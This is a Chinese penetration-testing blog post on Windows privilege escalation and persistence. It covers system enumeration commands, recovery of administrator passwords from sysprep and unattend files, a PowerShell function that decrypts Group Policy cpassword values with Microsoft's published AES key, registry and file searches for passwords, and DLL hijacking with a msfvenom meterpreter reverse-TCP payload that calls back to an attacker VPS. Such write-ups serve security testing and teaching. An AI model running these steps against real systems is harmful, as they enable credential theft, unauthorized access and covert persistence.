前言
看到一篇文章讲到这个内容,就打算自己也整理一下顺便梳理一下思路
0X01 信息收集
1.收集系统信息:
系统信息至关重要,关乎我们后面怎么提权
中文系统:systeminfo|findstr /B /C:"OS 名称" /C:"OS 版本"
英文系统: systeminfo|findstr /B /C:"OS Name" /C:"OS Version"
例如:
C:UsersAdministrator>systeminfo|findstr /B /C:"OS 名称" /C:"OS 版本"
OS 名称: Microsoft Windows Server 2008 R2 Standard
OS 版本: 6.1.7600 暂缺 Build 7600
2.主机名和Shell用户名
C:UsersAdministrator>hostname
WIN-ITRDTMACNHN
C:UsersAdministrator>echo %username%
Administrator
3.其他用户组和当前用户详细信息
通过这个信息收集我们能判断我们的用户属于什么用户组
C:UsersAdministrator>net users
的用户帐户
--------------------------------------------------------------
Administrator FTPuser Guest
命令成功完成。
C:UsersAdministrator>net user Administrator
Administrator
全名
管理计算机(域)的内置帐户
用户的注释
000 (系统默认值)
Yes
从不
2018/6/28 16:32:48
2018/8/9 16:32:48
2018/6/28 16:32:48
Yes
Yes
All
登录脚本
用户配置文件
主目录
2018/9/30 11:34:43
All
*Administrators
*None
命令成功完成。
4.网络配置信息
使用下面的三条命名就能比较好的看出主机
ipconfig /all
route print
arp -A
5.检查主机的端口开放情况
netstat -ano
6.检查主机的防火墙规则
C:UsersAdministrator>netsh firewall show state
防火墙状态:
-------------------------------------------------------------------
配置文件 = 标准
操作模式 = 启用
例外模式 = 启用
多播/广播响应模式 = 启用
通知模式 = 禁用
组策略版本 = Windows 防火墙
远程管理模式 = 禁用
所有网络接口上的端口当前均为打开状态:
端口 协议 版本 程序
-------------------------------------------------------------------
800 TCP 任何 (null)
C:UsersAdministrator>netsh firewall show config
域 配置文件配置:
-------------------------------------------------------------------
操作模式 = 启用
例外模式 = 启用
多播/广播响应模式 = 启用
通知模式 = 禁用
域 配置文件的允许的程序配置:
模式 流量方向 名称/程序
-------------------------------------------------------------------
禁用 入站 Windows 服务主进程 / C:WindowsSystem32svch
st.exe
禁用 入站 Internet Explorer / C:Program Files (x86)In
ernet Exploreriexplore.exe
域 配置文件的端口配置:
端口 协议 流量方向 名称
-------------------------------------------------------------------
800 TCP 启用 入站 test
域 配置文件的 ICMP 配置:
模式 类型 描述
-------------------------------------------------------------------
启用 2 允许出站数据包太大
标准 配置文件配置(当前):
-------------------------------------------------------------------
操作模式 = 启用
例外模式 = 启用
多播/广播响应模式 = 启用
通知模式 = 禁用
标准 配置文件的允许的程序配置:
模式 流量方向 名称/程序
-------------------------------------------------------------------
启用 入站 Windows 服务主进程 / C:WindowsSystem32svch
st.exe
标准 配置文件的端口配置:
端口 协议 流量方向 名称
-------------------------------------------------------------------
800 TCP 启用 入站 test
标准 配置文件的 ICMP 配置:
模式 类型 描述
-------------------------------------------------------------------
启用 2 允许出站数据包太大
日志配置:
-------------------------------------------------------------------
文件位置 = C:Windowssystem32LogFilesFirewallpfirewall.log
文件大小上限 = 4096 KB
丢弃的数据包数 = 禁用
连接数 = 禁用
7.计划任务
C:UsersK0rz3n>schtasks /query /fo LIST /v
主机名: DESKTOP-S2L4C24
任务名: CorelUpdateHelperTaskCore
下次运行时间: 2019/1/23 0:32:42
模式: 就绪
登录状态: 交互方式/后台方式
上次运行时间: 2019/1/22 0:32:42
上次结果: 0
创建者: N/A
要运行的任务: c:Program Files (x86)CorelCUHv2CUH.exe /t
起始于: N/A
注释: N/A
计划任务状态: 已启用
空闲时间: 已禁用
电源管理: 在电池模式停止, 不用电池启动
作为用户运行: Users
删除没有计划的任务: 已禁用
如果运行了 X 小时 X 分钟,停止任务: 72:00:00
计划: 计划数据在此格式中不可用。
计划类型: 每天
开始时间: 0:32:42
开始日期: 2018/10/7
结束日期: N/A
天: 每 1 天
月: N/A
重复: 每: 已禁用
重复: 截止: 时间: 已禁用
重复: 截止: 持续时间: 已禁用
重复: 如果还在运行,停止: 已禁用
8.正在运行的进程
C:UsersAdministrator>tasklist /SVC
映像名称 PID 服务
========================= ======== =======================================
System Idle Process 0 暂缺
System 4 暂缺
smss.exe 232 暂缺
csrss.exe 332 暂缺
wininit.exe 384 暂缺
csrss.exe 392 暂缺
winlogon.exe 448 暂缺
services.exe 484 暂缺
lsass.exe 500 SamSs
lsm.exe 508 暂缺
svchost.exe 608 DcomLaunch, PlugPlay, Power
vmacthlp.exe 672 VMware Physical Disk Helper Service
svchost.exe 716 RpcEptMapper, RpcSs
svchost.exe 788 Dhcp, eventlog, lmhosts
svchost.exe 844 gpsvc, IKEEXT, iphlpsvc, LanmanServer,
ProfSvc, Schedule, seclogon, SENS,
ShellHWDetection, Winmgmt, wuauserv
svchost.exe 932 EventSystem, netprofm, nsi
svchost.exe 996 Netman, TrkWks, UxSms
svchost.exe 256 CryptSvc, Dnscache, LanmanWorkstation,
NlaSvc, WinRM
svchost.exe 688 BFE, DPS, MpsSvc
spoolsv.exe 1092 Spooler
svchost.exe 1124 AppHostSvc
svchost.exe 1148 ftpsvc
svchost.exe 1324 RemoteRegistry
...
9.已经启动的服务
C:UsersAdministrator>net start
已经启动以下 Windows 服务:
Application Host Helper Service
Base Filtering Engine
Event System
System Application
Cryptographic Services
DCOM Server Process Launcher
Desktop Window Manager Session Manager
DHCP Client
Diagnostic Policy Service
Distributed Link Tracking Client
Distributed Transaction Coordinator
DNS Client
Group Policy Client
IKE and AuthIP IPsec Keying Modules
IP Helper
IPsec Policy Agent
Microsoft FTP Service
Network Connections
Network List Service
Network Location Awareness
Network Store Interface Service
Plug and Play
Power
Print Spooler
Remote Procedure Call (RPC)
Remote Registry
RPC Endpoint Mapper
...
10.已经安装的驱动
C:UsersAdministrator>driverquery
模块名 显示名称 驱动程序类型 链接日期
============ ====================== ============= ======================
1394ohci 1394 OHCI Compliant Ho Kernel 2009/7/14 8:07:12
ACPI Microsoft ACPI Driver Kernel 2009/7/14 7:19:34
AcpiPmi ACPI Power Meter Drive Kernel 2009/7/14 7:27:17
adp94xx adp94xx Kernel 2008/12/6 7:54:42
adpahci adpahci Kernel 2007/5/2 1:30:09
adpu320 adpu320 Kernel 2007/2/28 8:04:15
AFD Ancillary Function Dri Kernel 2009/7/14 7:21:40
agp440 Intel AGP Bus Filter Kernel 2009/7/14 7:38:43
aliide aliide Kernel 2009/7/14 7:19:47
amdide amdide Kernel 2009/7/14 7:19:49
AmdK8 AMD K8 Processor Drive Kernel 2009/7/14 7:19:25
AmdPPM AMD Processor Driver Kernel 2009/7/14 7:19:25
amdsata amdsata Kernel 2009/5/20 1:53:21
amdsbs amdsbs Kernel 2009/3/21 2:36:03
amdxata amdxata Kernel 2009/5/20 1:56:59
...
11.使用 wmic 收集重要信息
运行下面这个脚本来收集进程,服务,用户帐户,用户组,网络接口,硬盘驱动器信息,网络共享信息,已安装的 Windows 补丁程序,启动时运行的程序,已安装软件列表,操作系统和时区信息。
for /f "delims=" %%A in ('dir /s /b %WINDIR%system32*htable.xsl') do set "var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html
补充:
使用下面的命令也可获取主机的已经安装的补丁信息
wmic qfe get Caption,Description,HotFixID,InstalledOn
0X02 利用特权提升漏洞直接提权
这一部分的内容我在我的 渗透测试小技巧一 中 写过了,这里就不在赘述
0X03 在计算机中获取明文或者可解密的密码
现实的域环境中会有大量的服务器需要配置,作为一个管理员是不可能一台一台的配置的,他们通常会选择自动化安装或者克隆,这就可能会遗留下安装过程的配置文件,这些配置文件中会包含许多敏感信息,例如管理员账号密码。
1.使用 Sysprep.exe 批量部署
为同类计算环境中具有相似硬件配置的基于 Windows 的成千上万台计算机进行部署的企业客户希望能自定义一台计算机,然后将其硬盘(或”映像”)复制到公司的其他计算机上。同样,网络管理员希望在必要时能在时间关键的环境中快速替换计算机。
单位中的系统管理员通常会预装客户计算机,或物理访问每台客户机以安装操作系统,Sysprep 的设计旨在降低此类任务产生的费用。它使管理员(或第三方集成商)能将单个工作站配置复制到多台客户机,从而大大节约了管理时间和资源。管理员只需做出一组有关计算机设置的假设,从而减少了标准 Windows 安装的开销。
Sysprep.inf
作为建立并部署标准映像的一部分,您可能需要为单个目标计算机自定义少量设置及参数。例如,每个基于 Windows 2000 的计算机需要有唯一的计算机名。”最小安装向导”通常会提示用户保留信息。不过在许多情况下,如果您知道必要信息并且不希望提示用户输入这些信息,则可使用可选的应答文件 Sysprep.inf 实现自动输入。使用 Sysprep.inf 文件,您可让”最小安装向导”只提示某些信息,或创建完全自动的安装。
最小安装向导
计算机第一次从复制磁盘启动时,”最小安装向导”启动。它收集新复制的目标计算机所需的全部信息。如果不使用 Sysprep.inf,则”最小安装向导”显示以下项目:
欢迎
Microsoft 许可协议
ID
区域设置
用户名和公司
计算机名和管理员密码
TAPI 设置(仅适于有调制解调器时)
网络配置
加入工作组或域(仅适于工作站)
服务器许可(仅适于服务器)
时区选择
完成/重新启动
也就是说,我们在 sysprep.inf 中指定的信息克隆计算机在安装时就会默认填好,并且不能被更改,那么如果管理员填入了密码的话我们就能通过这个文件获取
当然除了使用 sysprep 这种方式以外,还有与之类似的无人安装的方式,这种方式使用的配置文件是 unattend.txt
通常这些敏感文件会出现在下面目录
c:sysprep.inf
c:sysprepsysprep.xml
%WINDIR%PantherUnattendUnattended.xml
%WINDIR%PantherUnattended.xml
这些配置文件极可能包含明文密码,也可能会出现 base64 编码的情况,下面是一些配置文件的事例:
# This is a sample from sysprep.inf with clear-text credentials.
[GuiUnattended]
OEMSkipRegional=1
OemSkipWelcome=1
AdminPassword=s3cr3tp4ssw0rd
TimeZone=20
# This is a sample from sysprep.xml with Base64 "encoded" credentials. Please people Base64 is not
encryption, I take more precautions to protect my coffee. The password here is "SuperSecurePassword".
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>
<Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value>
<PlainText>false</PlainText>
</Password>
<Description>Local Administrator</Description>
<DisplayName>Administrator</DisplayName>
<Group>Administrators</Group>
<Name>Administrator</Name>
</LocalAccount>
</LocalAccounts>
# Sample from Unattended.xml with the same "secure" Base64 encoding.
<AutoLogon>
<Password>
<Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value>
<PlainText>false</PlainText>
</Password>
<Enabled>true</Enabled>
<Username>Administrator</Username>
</AutoLogon>
关于以上更详细的内容请参看 这篇文章(https://www.xuebuyuan.com/2082105.html)
1.使用 GPP(Group Policy Preferences) 部署
在域中,存在一个默认的共享路径:
<DOMAIN>SYSVOL<DOMAIN>
所有域内主机都能访问,里面保存组策略相关数据,包含登录脚本配置文件等
例如,测试主机所在域为test.local,可访问共享文件夹test.localSYSVOLtest.local,如下图
想要批量修改域内主机本地管理员密码,常常通过配置组策略执行vbs脚本的方式
给出一个修改密码的vbs脚本(实现方式不唯一),代码如下:
strComputer = "."
Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
objUser.SetPassword "domain123!"
objUser.SetInfo
这种实现方式,最大的弊端在于修改后的密码会明文保存在vbs脚本中,而该vbs脚本通常会保存在共享文件夹SYSVOL
这就存在一个隐患:
任何域用户都能读取该vbs脚本,也就能够获取脚本中保存的明文密码
于是我们还可以通过 GPP(组策略偏好)来进行配置
开始-管理工具-组策略管理
选择域test.local,右键,选中在这个域中创建GPO并在此处链接,如下图
设置名称为test6
test6-设置-右键-编辑-用户配置-首选项-控制面板设置-本地用户和组,如下图
更新,administrator(内置),设置密码,如下图
委派,设置权限
在详细一栏,可看到该策略对应的ID为{E6424F10-C44B-4C45-8527-740189CBF60E}
至此,组策略配置完成,域内主机重新登录,即可应用此策略,在共享文件夹SYSVOL中可看到组策略对应ID的文件夹,如下图
由于我们刚刚修改了用户配置下的控制面板,所以在对应的文件夹下能找到配置文件Groups.xml,具体路径如下:
test.localSYSVOLtest.localPolicies{E6424F10-C44B-4C45-8527-740189CBF60E}UserPreferencesGroups
Groups.xml内容如下:
- <Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
- <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (内置)" image="2" changed="2017-09-25 22:57:53" uid="{463245FF-08D3-4A28-95E7-42AB416DC508}">
<Properties action="U" newName="" fullName="" description="" cpassword="9XLcz+Caj/kyldECku6lQ1QJX3fe9gnshWkkWlgAN1U" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (内置)" />
</User>
</Groups>
值得注意的是其中的cpassword项,保存的是加密后的内容”9XLcz+Caj/kyldECku6lQ1QJX3fe9gnshWkkWlgAN1U”
加密方式为AES 256,虽然目前AES 256很难被攻破,但是微软选择公开了该AES 256加密的私钥,地址如下:
https://msdn.microsoft.com/en-us/library/cc422924.aspx
我们可以借助下面这个项目将明文密码还原
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1
该脚本可在域内主机上执行,能够自动查询共享文件夹SYSVOL中的文件,还原出所有明文密码
测试如下图
当然,仅仅为了解密cpassword=”9XLcz+Caj/kyldECku6lQ1QJX3fe9gnshWkkWlgAN1U”,我们可以对以上powershell脚本的功能简化
简化代码如下:
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "9XLcz+Caj/kyldECku6lQ1QJX3fe9gnshWkkWlgAN1U
"也就是说:域管理员在使用组策略批量管理域内主机时,
如果配置组策略的过程中需要填入密码,
那么该密码会被保存到共享文件夹SYSVOL下,
默认所有域内用户可访问,虽然被加密,但很容易被解密
为此,微软发布了补丁KB2962486,下载地址:
https://technet.microsoft.com/library/security/ms14-025
系统打了补丁后,组策略中无法设置用户名密码,如下图
除了 Groups.xml 以外,其他几个策略首选项文件也可能存在 “cPassword” 属性
ServicesServices.xml
http://msdn.microsoft.com/en-us/library/cc980070(v=prot.13)
ScheduledTasksScheduledTasks.xml
http://msdn.microsoft.com/en-us/library/cc422920(v=prot.13)
http://msdn.microsoft.com/en-us/library/dd341350(v=prot.13)
http://msdn.microsoft.com/en-us/library/dd304114(v=prot.13)
PrintersPrinters.xml
http://msdn.microsoft.com/en-us/library/cc422918(v=prot.13)
DrivesDrives.xml
http://msdn.microsoft.com/en-us/library/cc704598(v=prot.13)
DataSourcesDataSources.xml
http://msdn.microsoft.com/en-us/library/cc422926(v=prot.13)
0X04 辅助的命令
1.下面的命令将在文件系统中搜索包含特定关键字的文件名,可以指定任意多的关键字。
C:Windowssystem32> dir /s *pass* == *cred* == *vnc* == *.config*
2.搜索某些文件类型的关键字
C:Windowssystem32> findstr /si password *.xml *.ini *.txt
3.下面的两个命令可以用于grep注册表中的关键字,在本例中是“password”。
C:Windowssystem32> reg query HKLM /f password /t REG_SZ /s
C:Windowssystem32> reg query HKCU /f password /t REG_SZ /s
0X05 辅助的工具
accesschk.exe 来批量检查权限信息
这个工具来源于工具集 Sysinternals Suite ,感兴趣的可以在这里下载。该工具的主要作用就是判断用户对于指定文件或者目录下面的所有文件的读写权限(R 是读,W 是写)
1.查看 d:/test 目录下所有文件对每个用户组的权限情况
2.查看指定用户组对文件夹下文件的权限
3.查看某个用户组对指定服务的权限
4.查看对某个用户组有写权限的所有服务
5.查看某个用户或用户组对某个注册表项的权限
这里 hklm 是 HKEY_LOCAL_MACHINE 的缩写,HKEY_CLASSES_ROOT 的缩写是 hkcr
0X06 权限维持
后门是权限维持的必要手段,那么怎么才能安放一个好的后门就非常有技巧,之前我在前面文章中讲过影子账户的创建,感兴趣的同学可以移步 这里
当然还有一种更加复杂并且隐蔽的方法:DLL 劫持,这个方法不仅仅在创建后门的时候被经常用到,在 Bypass UAC 的时候也是一种核心的手段
1.简单的介绍一下
我们知道,程序在编译的时候往往为了节约空间不会将运行时用到的所有的库都静态编译进 exe 文件中,这样就意味着我们在运行程序的时候程序会去系统中加载需要的动态链接库,这就是我们所说的 DLL (Linux 下的动态链接库是 .so 文件,windows 下是 .dll)。
系统会有一个寻找 dll 文件的默认顺序,当将恶意的 DLL 文件放到其中一个路径下,并保证该恶意 DLL 先于合法的 DLL 被程序找到时就会发生 DLL 劫持;也可能是程序寻找的 DLL 文件名在系统中并不存在,这时我们只需将自己定制的 DLL 文件放到程序的搜索路径也可以达到目的。
下面你可以看到在一个 32 位系统中 DLL 的搜索顺序:
1 - 应用加载的目录
2 - 32-bit 系统目录(C:WindowsSystem32)
3 - 16-bit 系统目录 (C:WindowsSystem)
4 - Windows 目录(C:Windows)
5 - 当前工作目录 (CWD)
6 - 环境变量中的目录 (system then user)
通过上面的搜索路径可以看到第六点环境变量,这也是我们比较容易控制的路径,如果目标装有 python,那么 Path = C:Python27 就是我们可以控制的路径,我们只需要将恶意定制的 DLL 文件放到这个目录就可以。
2.利用步骤
1.首先在我的公网 vps 开启 msf 建立监听
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost xxx.xxx.xxx.xxx
lhost => xxx.xxx.xxx.xxx
msf5 exploit(multi/handler) > set lport 9999
lport => 9999
msf5 exploit(multi/handler) > exploit
Started reverse TCP handler on xxx.xxx.xxx.xxx:9999
2.利用 DllHijackAuditor 工具进行 dll 劫持检测
3.在本地的 msf 上生成需要利用的 payload
msf > msfvenom -p windows/meterpreter/reverse_tcp l_host=xxx.xxx.xxx.xxx lport=9999 -f dll -o /root/ext-ms-win-kernel32-package-current-l1-1-0
[*] exec: msfvenom -p windows/meterpreter/reverse_tcp l_host=xxx.xxx.xxx.xxx lport=9999 -f dll -o /root/ext-ms-win-kernel32-package-current-l1-1-0
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of dll file: 5120 bytes
Saved as: /root/ext-ms-win-kernel32-package-current-l1-1-0
然后我将其放在软件相同的目录下,如下图:
4.运行后获取 meterpreter 的shell
参考链接
https://mp.weixin.qq.com/s/JeYxI2usvJCwmijYEefmOw?
http://www.fuzzysecurity.com/tutorials/16.html
https://www.freebuf.com/vuls/92016.html
https://www.xuebuyuan.com/2082105.html
https://blog.csdn.net/Fly_hps/article/details/80641585
http://blog.51cto.com/rangercyh/497497
作者:K0rz3n
文章来源:K0rz3n's Blog
如有侵权,请联系删除
好文推荐